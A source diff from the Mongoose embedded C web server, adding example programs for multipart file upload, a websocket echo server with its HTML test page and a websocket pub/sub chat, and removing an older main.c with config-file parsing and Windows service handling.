RUN_TEST(test_parse_http_message);
|
||||||
|
RUN_TEST(test_to64);
|
||||||
|
RUN_TEST(test_url_decode);
|
||||||
|
RUN_TEST(test_url_encode);
|
||||||
|
RUN_TEST(test_base64_encode);
|
||||||
|
RUN_TEST(test_mg_parse_header);
|
||||||
|
RUN_TEST(test_get_var);
|
||||||
|
RUN_TEST(test_next_option);
|
||||||
|
RUN_TEST(test_parse_multipart);
|
||||||
|
RUN_TEST(test_mg_set_option);
|
||||||
|
RUN_TEST(test_server);
|
||||||
|
RUN_TEST(test_rewrites);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
int __cdecl main(void) {
|
||||||
|
const char *fail_msg = run_all_tests();
|
||||||
|
printf("%s, tests run: %d\n", fail_msg ? "FAIL" : "PASS", static_num_tests);
|
||||||
|
return fail_msg == NULL ? EXIT_SUCCESS : EXIT_FAILURE;
|
||||||
|
}
|
||||||
@@ -0,0 +1,60 @@
|
|||||||
|
// Copyright (c) 2004-2012 Sergey Lyubka
|
||||||
|
// This file is a part of mongoose project, http://github.com/valenok/mongoose
|
||||||
|
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int send_index_page(struct mg_connection *conn) {
|
||||||
|
const char *data;
|
||||||
|
int data_len, ofs = 0;
|
||||||
|
char var_name[100], file_name[100];
|
||||||
|
|
||||||
|
mg_printf_data(conn, "%s",
|
||||||
|
"<html><body>Upload example."
|
||||||
|
"<form method=\"POST\" action=\"/handle_post_request\" "
|
||||||
|
" enctype=\"multipart/form-data\">"
|
||||||
|
"<input type=\"file\" name=\"file\" /> <br/>"
|
||||||
|
"<input type=\"text\" name=\"input1\" value=hello! /> <br/>"
|
||||||
|
"<input type=\"submit\" value=\"Upload\" />"
|
||||||
|
"</form>");
|
||||||
|
|
||||||
|
while ((ofs = mg_parse_multipart(conn->content + ofs, conn->content_len - ofs,
|
||||||
|
var_name, sizeof(var_name),
|
||||||
|
file_name, sizeof(file_name),
|
||||||
|
&data, &data_len)) > 0) {
|
||||||
|
mg_printf_data(conn, "var: %s, file_name: %s, size: %d bytes<br>",
|
||||||
|
var_name, file_name, data_len);
|
||||||
|
}
|
||||||
|
|
||||||
|
mg_printf_data(conn, "%s", "</body></html>");
|
||||||
|
|
||||||
|
return MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
switch (ev) {
|
||||||
|
case MG_AUTH: return MG_TRUE;
|
||||||
|
case MG_REQUEST: return send_index_page(conn);
|
||||||
|
default: return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server;
|
||||||
|
|
||||||
|
// Create and configure the server
|
||||||
|
server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
// Serve request. Hit Ctrl-C to terminate the program
|
||||||
|
printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 1000);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Cleanup, and free server instance
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
#include <string.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#define snprintf _snprintf
|
||||||
|
#endif
|
||||||
|
|
||||||
|
extern const char *find_embedded_file(const char *, size_t *);
|
||||||
|
|
||||||
|
static int iterate_callback(struct mg_connection *c, enum mg_event ev) {
|
||||||
|
if (ev == MG_POLL && c->is_websocket) {
|
||||||
|
char buf[20];
|
||||||
|
int len = snprintf(buf, sizeof(buf), "%lu",
|
||||||
|
(unsigned long) * (time_t *) c->callback_param);
|
||||||
|
mg_websocket_write(c, 1, buf, len);
|
||||||
|
}
|
||||||
|
return MG_TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
static int send_reply(struct mg_connection *conn) {
|
||||||
|
size_t index_size;
|
||||||
|
const char *index_html = find_embedded_file("websocket.html", &index_size);
|
||||||
|
|
||||||
|
if (conn->is_websocket) {
|
||||||
|
// This handler is called for each incoming websocket frame, one or more
|
||||||
|
// times for connection lifetime.
|
||||||
|
// Echo websocket data back to the client.
|
||||||
|
mg_websocket_write(conn, 1, conn->content, conn->content_len);
|
||||||
|
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
|
||||||
|
MG_FALSE : MG_TRUE;
|
||||||
|
} else {
|
||||||
|
mg_send_header(conn, "Content-Type", "text/html");
|
||||||
|
mg_send_data(conn, index_html, index_size);
|
||||||
|
return MG_TRUE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
if (ev == MG_REQUEST) {
|
||||||
|
return send_reply(conn);
|
||||||
|
} else if (ev == MG_AUTH) {
|
||||||
|
return MG_TRUE;
|
||||||
|
} else {
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
struct mg_server *server = mg_create_server(NULL, ev_handler);
|
||||||
|
time_t current_timer = 0, last_timer = time(NULL);
|
||||||
|
|
||||||
|
mg_set_option(server, "listening_port", "8080");
|
||||||
|
|
||||||
|
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
|
||||||
|
for (;;) {
|
||||||
|
mg_poll_server(server, 100);
|
||||||
|
current_timer = time(NULL);
|
||||||
|
if (current_timer - last_timer > 0) {
|
||||||
|
last_timer = current_timer;
|
||||||
|
mg_iterate_over_connections(server, iterate_callback, ¤t_timer);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
mg_destroy_server(&server);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -0,0 +1,46 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<meta charset="utf-8" />
|
||||||
|
<title>WebSocket Test</title>
|
||||||
|
<script language="javascript" type="text/javascript">
|
||||||
|
|
||||||
|
var out = function(message) {
|
||||||
|
var div = document.createElement('div');
|
||||||
|
div.innerHTML = message;
|
||||||
|
document.getElementById('output').appendChild(div);
|
||||||
|
};
|
||||||
|
|
||||||
|
window.onload = function() {
|
||||||
|
var url = 'ws://' + location.host + '/ws';
|
||||||
|
var num_messages = 0;
|
||||||
|
|
||||||
|
websocket = new WebSocket(url);
|
||||||
|
websocket.onopen = function(ev) {
|
||||||
|
out('CONNECTED');
|
||||||
|
var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
|
||||||
|
out('SENT: ' + msg);
|
||||||
|
websocket.send(msg);
|
||||||
|
};
|
||||||
|
websocket.onclose = function(ev) {
|
||||||
|
out('DISCONNECTED');
|
||||||
|
};
|
||||||
|
websocket.onmessage = function(ev) {
|
||||||
|
if (!ev.data) {
|
||||||
|
out('<span style="color: blue;">PING... </span>');
|
||||||
|
} else {
|
||||||
|
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
|
||||||
|
num_messages++;
|
||||||
|
}
|
||||||
|
if (num_messages > 3) {
|
||||||
|
websocket.send('exit');
|
||||||
|
}
|
||||||
|
};
|
||||||
|
websocket.onerror = function(ev) {
|
||||||
|
out('<span style="color: red; ">ERROR: </span> ' + ev.data);
|
||||||
|
};
|
||||||
|
};
|
||||||
|
</script>
|
||||||
|
<style> div {font: small Verdana; } </style>
|
||||||
|
<h2>Mongoose WebSocket Test</h2>
|
||||||
|
|
||||||
|
<div id="output"></div>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,80 @@
|
|||||||
|
#include <string.h>
|
||||||
|
#include <time.h>
|
||||||
|
#include <signal.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include "mongoose.h"
|
||||||
|
|
||||||
|
static int s_signal_received = 0;
|
||||||
|
static struct mg_server *s_server = NULL;
|
||||||
|
|
||||||
|
// Data associated with each websocket connection
|
||||||
|
struct conn_data {
|
||||||
|
int room;
|
||||||
|
};
|
||||||
|
|
||||||
|
static void signal_handler(int sig_num) {
|
||||||
|
signal(sig_num, signal_handler); // Reinstantiate signal handler
|
||||||
|
s_signal_received = sig_num;
|
||||||
|
}
|
||||||
|
|
||||||
|
static void handle_websocket_message(struct mg_connection *conn) {
|
||||||
|
struct conn_data *d = (struct conn_data *) conn->connection_param;
|
||||||
|
struct mg_connection *c;
|
||||||
|
|
||||||
|
printf("[%.*s]\n", (int) conn->content_len, conn->content);
|
||||||
|
if (conn->content_len > 5 && !memcmp(conn->content, "join ", 5)) {
|
||||||
|
// Client joined new room
|
||||||
|
d->room = conn->content[5];
|
||||||
|
} else if (conn->content_len > 4 && !memcmp(conn->content, "msg ", 4) &&
|
||||||
|
d->room != 0 && d->room != '?') {
|
||||||
|
// Client has sent a message. Push this message to all clients
|
||||||
|
// that are subscribed to the same room as client
|
||||||
|
for (c = mg_next(s_server, NULL); c != NULL; c = mg_next(s_server, c)) {
|
||||||
|
struct conn_data *d2 = (struct conn_data *) c->connection_param;
|
||||||
|
if (!c->is_websocket || d2->room != d->room) continue;
|
||||||
|
mg_websocket_printf(c, WEBSOCKET_OPCODE_TEXT, "msg %c %p %.*s",
|
||||||
|
(char) d->room, conn,
|
||||||
|
conn->content_len - 4, conn->content + 4);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
|
||||||
|
switch (ev) {
|
||||||
|
case MG_REQUEST:
|
||||||
|
if (conn->is_websocket) {
|
||||||
|
handle_websocket_message(conn);
|
||||||
|
return MG_TRUE;
|
||||||
|
} else {
|
||||||
|
mg_send_file(conn, "pubsub.html"); // Return MG_MORE after mg_send_file()
|
||||||
|
return MG_MORE;
|
||||||
|
}
|
||||||
|
case MG_WS_CONNECT:
|
||||||
|
// New websocket connection. Send connection ID back to the client.
|
||||||
|
conn->connection_param = calloc(1, sizeof(struct conn_data));
|
||||||
|
mg_websocket_printf(conn, WEBSOCKET_OPCODE_TEXT, "id %p", conn);
|
||||||
|
return MG_FALSE;
|
||||||
|
case MG_CLOSE:
|
||||||
|
free(conn->connection_param);
|
||||||
|
return MG_TRUE;
|
||||||
|
case MG_AUTH:
|
||||||
|
return MG_TRUE;
|
||||||
|
default:
|
||||||
|
return MG_FALSE;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
s_server = mg_create_server(NULL, ev_handler);
|
||||||
|
mg_set_option(s_server, "listening_port", "8080");
|
||||||
|
|
||||||
|
signal(SIGTERM, signal_handler);
|
||||||
|
signal(SIGINT, signal_handler);
|
||||||
|
|
||||||
|
printf("Started on port %s\n", mg_get_option(s_server, "listening_port"));
|
||||||
|
while (s_signal_received == 0) {
|
||||||
|
mg_poll_server(s_server, 100);
|
||||||
|
}
|
||||||
|
mg_destroy_server(&s_server);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
@@ -1,506 +0,0 @@
|
|||||||
// Copyright (c) 2004-2011 Sergey Lyubka
|
|
||||||
//
|
|
||||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
// of this software and associated documentation files (the "Software"), to deal
|
|
||||||
// in the Software without restriction, including without limitation the rights
|
|
||||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
// copies of the Software, and to permit persons to whom the Software is
|
|
||||||
// furnished to do so, subject to the following conditions:
|
|
||||||
//
|
|
||||||
// The above copyright notice and this permission notice shall be included in
|
|
||||||
// all copies or substantial portions of the Software.
|
|
||||||
//
|
|
||||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
// THE SOFTWARE.
|
|
||||||
|
|
||||||
#if defined(_WIN32)
|
|
||||||
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
|
|
||||||
#else
|
|
||||||
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <signal.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <errno.h>
|
|
||||||
#include <limits.h>
|
|
||||||
#include <stddef.h>
|
|
||||||
#include <stdarg.h>
|
|
||||||
|
|
||||||
#include "mongoose.h"
|
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
#include <windows.h>
|
|
||||||
#include <winsvc.h>
|
|
||||||
#define PATH_MAX MAX_PATH
|
|
||||||
#define S_ISDIR(x) ((x) & _S_IFDIR)
|
|
||||||
#define DIRSEP '\\'
|
|
||||||
#define snprintf _snprintf
|
|
||||||
#define vsnprintf _vsnprintf
|
|
||||||
#define sleep(x) Sleep((x) * 1000)
|
|
||||||
#define WINCDECL __cdecl
|
|
||||||
#else
|
|
||||||
#include <sys/wait.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#define DIRSEP '/'
|
|
||||||
#define WINCDECL
|
|
||||||
#endif // _WIN32
|
|
||||||
|
|
||||||
#define MAX_OPTIONS 40
|
|
||||||
#define MAX_CONF_FILE_LINE_SIZE (8 * 1024)
|
|
||||||
|
|
||||||
static int exit_flag;
|
|
||||||
static char server_name[40]; // Set by init_server_name()
|
|
||||||
static char config_file[PATH_MAX]; // Set by process_command_line_arguments()
|
|
||||||
static struct mg_context *ctx; // Set by start_mongoose()
|
|
||||||
|
|
||||||
#if !defined(CONFIG_FILE)
|
|
||||||
#define CONFIG_FILE "mongoose.conf"
|
|
||||||
#endif /* !CONFIG_FILE */
|
|
||||||
|
|
||||||
static void WINCDECL signal_handler(int sig_num) {
|
|
||||||
exit_flag = sig_num;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void die(const char *fmt, ...) {
|
|
||||||
va_list ap;
|
|
||||||
char msg[200];
|
|
||||||
|
|
||||||
va_start(ap, fmt);
|
|
||||||
vsnprintf(msg, sizeof(msg), fmt, ap);
|
|
||||||
va_end(ap);
|
|
||||||
|
|
||||||
#if defined(_WIN32)
|
|
||||||
MessageBox(NULL, msg, "Error", MB_OK);
|
|
||||||
#else
|
|
||||||
fprintf(stderr, "%s\n", msg);
|
|
||||||
#endif
|
|
||||||
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void show_usage_and_exit(void) {
|
|
||||||
const char **names;
|
|
||||||
int i;
|
|
||||||
|
|
||||||
fprintf(stderr, "Mongoose version %s (c) Sergey Lyubka, built %s\n",
|
|
||||||
mg_version(), __DATE__);
|
|
||||||
fprintf(stderr, "Usage:\n");
|
|
||||||
fprintf(stderr, " mongoose -A <htpasswd_file> <realm> <user> <passwd>\n");
|
|
||||||
fprintf(stderr, " mongoose <config_file>\n");
|
|
||||||
fprintf(stderr, " mongoose [-option value ...]\n");
|
|
||||||
fprintf(stderr, "\nOPTIONS:\n");
|
|
||||||
|
|
||||||
names = mg_get_valid_option_names();
|
|
||||||
for (i = 0; names[i] != NULL; i += 3) {
|
|
||||||
fprintf(stderr, " -%s %s (default: \"%s\")\n",
|
|
||||||
names[i], names[i + 1], names[i + 2] == NULL ? "" : names[i + 2]);
|
|
||||||
}
|
|
||||||
fprintf(stderr, "\nSee http://code.google.com/p/mongoose/wiki/MongooseManual"
|
|
||||||
" for more details.\n");
|
|
||||||
fprintf(stderr, "Example:\n mongoose -s cert.pem -p 80,443s -d no\n");
|
|
||||||
exit(EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void verify_document_root(const char *root) {
|
|
||||||
const char *p, *path;
|
|
||||||
char buf[PATH_MAX];
|
|
||||||
struct stat st;
|
|
||||||
|
|
||||||
path = root;
|
|
||||||
if ((p = strchr(root, ',')) != NULL && (size_t) (p - root) < sizeof(buf)) {
|
|
||||||
memcpy(buf, root, p - root);
|
|
||||||
buf[p - root] = '\0';
|
|
||||||
path = buf;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (stat(path, &st) != 0 || !S_ISDIR(st.st_mode)) {
|
|
||||||
die("Invalid root directory: [%s]: %s", root, strerror(errno));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static char *sdup(const char *str) {
|
|
||||||
char *p;
|
|
||||||
if ((p = (char *) malloc(strlen(str) + 1)) != NULL) {
|
|
||||||
strcpy(p, str);
|
|
||||||
}
|
|
||||||
return p;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void set_option(char **options, const char *name, const char *value) {
|
|
||||||
int i;
|
|
||||||
|
|
||||||
if (!strcmp(name, "document_root") || !(strcmp(name, "r"))) {
|
|
||||||
verify_document_root(value);
|
|
||||||
}
|
|
||||||
|
|
||||||
for (i = 0; i < MAX_OPTIONS - 3; i++) {
|
|
||||||
if (options[i] == NULL) {
|
|
||||||
options[i] = sdup(name);
|
|
||||||
options[i + 1] = sdup(value);
|
|
||||||
options[i + 2] = NULL;
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (i == MAX_OPTIONS - 3) {
|
|
||||||
die("%s", "Too many options specified");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void process_command_line_arguments(char *argv[], char **options) {
|
|
||||||
char line[MAX_CONF_FILE_LINE_SIZE], opt[sizeof(line)], val[sizeof(line)], *p;
|
|
||||||
FILE *fp = NULL;
|
|
||||||
size_t i, cmd_line_opts_start = 1, line_no = 0;
|
|
||||||
|
|
||||||
options[0] = NULL;
|
|
||||||
|
|
||||||
// Should we use a config file ?
|
|
||||||
if (argv[1] != NULL && argv[1][0] != '-') {
|
|
||||||
snprintf(config_file, sizeof(config_file), "%s", argv[1]);
|
|
||||||
cmd_line_opts_start = 2;
|
|
||||||
} else if ((p = strrchr(argv[0], DIRSEP)) == NULL) {
|
|
||||||
// No command line flags specified. Look where binary lives
|
|
||||||
snprintf(config_file, sizeof(config_file), "%s", CONFIG_FILE);
|
|
||||||
} else {
|
|
||||||
snprintf(config_file, sizeof(config_file), "%.*s%c%s",
|
|
||||||
(int) (p - argv[0]), argv[0], DIRSEP, CONFIG_FILE);
|
|
||||||
}
|
|
||||||
|
|
||||||
fp = fopen(config_file, "r");
|
|
||||||
|
|
||||||
// If config file was set in command line and open failed, die
|
|
||||||
if (cmd_line_opts_start == 2 && fp == NULL) {
|
|
||||||
die("Cannot open config file %s: %s", config_file, strerror(errno));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Load config file settings first
|
|
||||||
if (fp != NULL) {
|
|
||||||
fprintf(stderr, "Loading config file %s\n", config_file);
|
|
||||||
|
|
||||||
// Loop over the lines in config file
|
|
||||||
while (fgets(line, sizeof(line), fp) != NULL) {
|
|
||||||
|
|
||||||
line_no++;
|
|
||||||
|
|
||||||
// Ignore empty lines and comments
|
|
||||||
if (line[0] == '#' || line[0] == '\n')
|
|
||||||
continue;
|
|
||||||
|
|
||||||
if (sscanf(line, "%s %[^\r\n#]", opt, val) != 2) {
|
|
||||||
die("%s: line %d is invalid", config_file, (int) line_no);
|
|
||||||
}
|
|
||||||
set_option(options, opt, val);
|
|
||||||
}
|
|
||||||
|
|
||||||
(void) fclose(fp);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Now handle command line flags. They override config file settings.
|
|
||||||
for (i = cmd_line_opts_start; argv[i] != NULL; i += 2) {
|
|
||||||
if (argv[i][0] != '-' || argv[i + 1] == NULL) {
|
|
||||||
show_usage_and_exit();
|
|
||||||
}
|
|
||||||
set_option(options, &argv[i][1], argv[i + 1]);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void init_server_name(void) {
|
|
||||||
snprintf(server_name, sizeof(server_name), "Mongoose web server v. %s",
|
|
||||||
mg_version());
|
|
||||||
}
|
|
||||||
|
|
||||||
static void *mongoose_callback(enum mg_event ev, struct mg_connection *conn) {
|
|
||||||
if (ev == MG_EVENT_LOG) {
|
|
||||||
printf("%s\n", mg_get_request_info(conn)->log_message);
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void start_mongoose(int argc, char *argv[]) {
|
|
||||||
char *options[MAX_OPTIONS];
|
|
||||||
int i;
|
|
||||||
|
|
||||||
// Edit passwords file if -A option is specified
|
|
||||||
if (argc > 1 && !strcmp(argv[1], "-A")) {
|
|
||||||
if (argc != 6) {
|
|
||||||
show_usage_and_exit();
|
|
||||||
}
|
|
||||||
exit(mg_modify_passwords_file(argv[2], argv[3], argv[4], argv[5]) ?
|
|
||||||
EXIT_SUCCESS : EXIT_FAILURE);
|
|
||||||
}
|
|
||||||
|
|
||||||
// Show usage if -h or --help options are specified
|
|
||||||
if (argc == 2 && (!strcmp(argv[1], "-h") || !strcmp(argv[1], "--help"))) {
|
|
||||||
show_usage_and_exit();
|
|
||||||
}
|
|
||||||
|
|
||||||
/* Update config based on command line arguments */
|
|
||||||
process_command_line_arguments(argv, options);
|
|
||||||
|
|
||||||
/* Setup signal handler: quit on Ctrl-C */
|
|
||||||
signal(SIGTERM, signal_handler);
|
|
||||||
signal(SIGINT, signal_handler);
|
|
||||||
|
|
||||||
/* Start Mongoose */
|
|
||||||
ctx = mg_start(&mongoose_callback, NULL, (const char **) options);
|
|
||||||
for (i = 0; options[i] != NULL; i++) {
|
|
||||||
free(options[i]);
|
|
||||||
}
|
|
||||||
|
|
||||||
if (ctx == NULL) {
|
|
||||||
die("%s", "Failed to start Mongoose.");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#ifdef _WIN32
|
|
||||||
static SERVICE_STATUS ss;
|
|
||||||
static SERVICE_STATUS_HANDLE hStatus;
|
|
||||||
static const char *service_magic_argument = "--";
|
|
||||||
|
|
||||||
static void WINAPI ControlHandler(DWORD code) {
|
|
||||||
if (code == SERVICE_CONTROL_STOP || code == SERVICE_CONTROL_SHUTDOWN) {
|
|
||||||
ss.dwWin32ExitCode = 0;
|
|
||||||
ss.dwCurrentState = SERVICE_STOPPED;
|
|
||||||
}
|
|
||||||
SetServiceStatus(hStatus, &ss);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void WINAPI ServiceMain(void) {
|
|
||||||
ss.dwServiceType = SERVICE_WIN32;
|
|
||||||
ss.dwCurrentState = SERVICE_RUNNING;
|
|
||||||
ss.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN;
|
|
||||||
|
|
||||||
hStatus = RegisterServiceCtrlHandler(server_name, ControlHandler);
|
|
||||||
SetServiceStatus(hStatus, &ss);
|
|
||||||
|
|
||||||
while (ss.dwCurrentState == SERVICE_RUNNING) {
|
|
||||||
Sleep(1000);
|
|
||||||
}
|
|
||||||
mg_stop(ctx);
|
|
||||||
|
|
||||||
ss.dwCurrentState = SERVICE_STOPPED;
|
|
||||||
ss.dwWin32ExitCode = (DWORD) -1;
|
|
||||||
SetServiceStatus(hStatus, &ss);
|
|
||||||
}
|
|
||||||
|
|
||||||
#define ID_TRAYICON 100
|
|
||||||
#define ID_QUIT 101
|
|
||||||
#define ID_EDIT_CONFIG 102
|
|
||||||
#define ID_SEPARATOR 103
|
|
||||||
#define ID_INSTALL_SERVICE 104
|
|
||||||
#define ID_REMOVE_SERVICE 105
|
|
||||||
#define ID_ICON 200
|
|
||||||
static NOTIFYICONDATA TrayIcon;
|
|
||||||
|
|
||||||
static void edit_config_file(void) {
|
|
||||||
const char **names, *value;
|
|
||||||
FILE *fp;
|
|
||||||
int i;
|
|
||||||
char cmd[200];
|
|
||||||
|
|
||||||
// Create config file if it is not present yet
|
|
||||||
if ((fp = fopen(config_file, "r")) != NULL) {
|
|
||||||
fclose(fp);
|
|
||||||
} else if ((fp = fopen(config_file, "a+")) != NULL) {
|
|
||||||
fprintf(fp,
|
|
||||||
"# Mongoose web server configuration file.\n"
|
|
||||||
"# Lines starting with '#' and empty lines are ignored.\n"
|
|
||||||
"# For detailed description of every option, visit\n"
|
|
||||||
"# http://code.google.com/p/mongoose/wiki/MongooseManual\n\n");
|
|
||||||
names = mg_get_valid_option_names();
|
|
||||||
for (i = 0; names[i] != NULL; i += 3) {
|
|
||||||
value = mg_get_option(ctx, names[i]);
|
|
||||||
fprintf(fp, "# %s %s\n", names[i + 1], *value ? value : "<value>");
|
|
||||||
}
|
|
||||||
fclose(fp);
|
|
||||||
}
|
|
||||||
|
|
||||||
snprintf(cmd, sizeof(cmd), "notepad.exe %s", config_file);
|
|
||||||
WinExec(cmd, SW_SHOW);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void show_error(void) {
|
|
||||||
char buf[256];
|
|
||||||
FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
|
|
||||||
NULL, GetLastError(),
|
|
||||||
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
|
|
||||||
buf, sizeof(buf), NULL);
|
|
||||||
MessageBox(NULL, buf, "Error", MB_OK);
|
|
||||||
}
|
|
||||||
|
|
||||||
static int manage_service(int action) {
|
|
||||||
static const char *service_name = "Mongoose";
|
|
||||||
SC_HANDLE hSCM = NULL, hService = NULL;
|
|
||||||
SERVICE_DESCRIPTION descr = {server_name};
|
|
||||||
char path[PATH_MAX + 20]; // Path to executable plus magic argument
|
|
||||||
int success = 1;
|
|
||||||
|
|
||||||
if ((hSCM = OpenSCManager(NULL, NULL, action == ID_INSTALL_SERVICE ?
|
|
||||||
GENERIC_WRITE : GENERIC_READ)) == NULL) {
|
|
||||||
success = 0;
|
|
||||||
show_error();
|
|
||||||
} else if (action == ID_INSTALL_SERVICE) {
|
|
||||||
GetModuleFileName(NULL, path, sizeof(path));
|
|
||||||
strncat(path, " ", sizeof(path));
|
|
||||||
strncat(path, service_magic_argument, sizeof(path));
|
|
||||||
hService = CreateService(hSCM, service_name, service_name,
|
|
||||||
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
|
|
||||||
SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
|
|
||||||
path, NULL, NULL, NULL, NULL, NULL);
|
|
||||||
if (hService) {
|
|
||||||
ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &descr);
|
|
||||||
} else {
|
|
||||||
show_error();
|
|
||||||
}
|
|
||||||
} else if (action == ID_REMOVE_SERVICE) {
|
|
||||||
if ((hService = OpenService(hSCM, service_name, DELETE)) == NULL ||
|
|
||||||
!DeleteService(hService)) {
|
|
||||||
show_error();
|
|
||||||
}
|
|
||||||
} else if ((hService = OpenService(hSCM, service_name,
|
|
||||||
SERVICE_QUERY_STATUS)) == NULL) {
|
|
||||||
success = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
CloseServiceHandle(hService);
|
|
||||||
CloseServiceHandle(hSCM);
|
|
||||||
|
|
||||||
return success;
|
|
||||||
}
|
|
||||||
|
|
||||||
static LRESULT CALLBACK WindowProc(HWND hWnd, UINT msg, WPARAM wParam,
|
|
||||||
LPARAM lParam) {
|
|
||||||
static SERVICE_TABLE_ENTRY service_table[] = {
|
|
||||||
{server_name, (LPSERVICE_MAIN_FUNCTION) ServiceMain},
|
|
||||||
{NULL, NULL}
|
|
||||||
};
|
|
||||||
int service_installed;
|
|
||||||
char buf[200], *service_argv[] = {__argv[0], NULL};
|
|
||||||
POINT pt;
|
|
||||||
HMENU hMenu;
|
|
||||||
|
|
||||||
switch (msg) {
|
|
||||||
case WM_CREATE:
|
|
||||||
if (__argv[1] != NULL &&
|
|
||||||
!strcmp(__argv[1], service_magic_argument)) {
|
|
||||||
start_mongoose(1, service_argv);
|
|
||||||
StartServiceCtrlDispatcher(service_table);
|
|
||||||
exit(EXIT_SUCCESS);
|
|
||||||
} else {
|
|
||||||
start_mongoose(__argc, __argv);
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case WM_COMMAND:
|
|
||||||
switch (LOWORD(wParam)) {
|
|
||||||
case ID_QUIT:
|
|
||||||
mg_stop(ctx);
|
|
||||||
Shell_NotifyIcon(NIM_DELETE, &TrayIcon);
|
|
||||||
PostQuitMessage(0);
|
|
||||||
break;
|
|
||||||
case ID_EDIT_CONFIG:
|
|
||||||
edit_config_file();
|
|
||||||
break;
|
|
||||||
case ID_INSTALL_SERVICE:
|
|
||||||
case ID_REMOVE_SERVICE:
|
|
||||||
manage_service(LOWORD(wParam));
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
break;
|
|
||||||
case WM_USER:
|
|
||||||
switch (lParam) {
|
|
||||||
case WM_RBUTTONUP:
|
|
||||||
case WM_LBUTTONUP:
|
|
||||||
case WM_LBUTTONDBLCLK:
|
|
||||||
hMenu = CreatePopupMenu();
|
|
||||||
AppendMenu(hMenu, MF_STRING | MF_GRAYED, ID_SEPARATOR, server_name);
|
|
||||||
